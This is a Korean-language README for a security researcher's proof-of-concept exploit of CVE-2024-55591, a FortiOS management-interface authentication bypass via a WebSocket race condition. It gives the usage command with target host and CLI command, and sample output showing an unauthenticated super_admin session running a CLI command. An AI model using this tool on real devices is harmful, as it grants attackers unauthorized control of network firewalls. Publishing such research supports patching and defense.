
CVE-2024-55591에 대한 개념 증명 익스플로잇으로, WebSocket 경쟁 조건을 통해 FortiOS 관리 인터페이스의 인증 우회를 시연하여 인증 없이 CLI 명령을 실행합니다.
Fortinet FortiOS 인증 우회 개념 증명(PoC)
기술적 세부 정보는 블로그 게시글에서 확인하세요.
python CVE-2024-55591-PoC.py --host 192.168.1.5 --port 443 --command "get system status" --user watchTowr --ssl
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \\| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \\___| Y | |( <_> \ / | | \
\/\_/ (____ |__| \\\\___ |___|__|__ | \\__ / \\/\_/ |__|
\\ \\ \\
CVE-2024-55591.py
(*) Fortinet FortiOS Authentication Bypass (CVE-2024-55591) POC by watchTowr
- Sonny , watchTowr ([email protected])
CVEs: [CVE-2024-55591]
[*] Checking if target is a FortiOS Management interface
[*] Target is confirmed as a FortiOS Management interface
[*] Target is confirmed as vulnerable to CVE-2024-55591, proceeding with exploitation
Output from server: �m"watchTowr" "admin" "watchTowr" "super_admin" "watchTowr" "watchTowr" [13.37.13.37]:1337 [13.37.13.37]:1337
Output from server: �
get system status
Output from server: �~�FAKESERIAL # "Local_Process_Access" "Local_Process_Access" "root" "" "" "none" [x.x.x.x]:54546 [x.x.x.x]:443
Unknown action 0
FAKESERIAL #
FAKESERIAL # get system status
Version: FortiGate-VM64-AWS v7.0.16,build0667,241001 (GA.M)
Security Level: High
Firmware Signature: certified
Virus-DB: 1.00000(2018-04-09 18:07)
이 스크립트는 FortiOS(FortiGate) 관리 인터페이스를 대상으로 하는 CVE-2024-55591의 개념 증명(PoC)입니다. WebSocket 연결을 브루트포싱하여 인증 우회와 함께 레이스 컨디션을 생성하면, 인증 없이 FortiOS CLI 명령을 전송할 수 있습니다. 자세한 내용은 [블로그 게시글] (https://labs.watchtowr.com/)에서 확인할 수 있습니다.
자세한 내용은 Fortinet 권고를 참조하세요.
이 스크립트는 사전 점검에서 인스턴스가 FortiGate 관리 인터페이스인지 확인하므로 FortiProxy와 함께 작동하도록 설계되지 않았습니다. 다만 기반 기술은 영향을 받는 FortiProxy 장치에도 적용될 수 있다고 가정합니다.
최신 보안 연구를 위해 watchTowr Labs 팀을 팔로우하세요.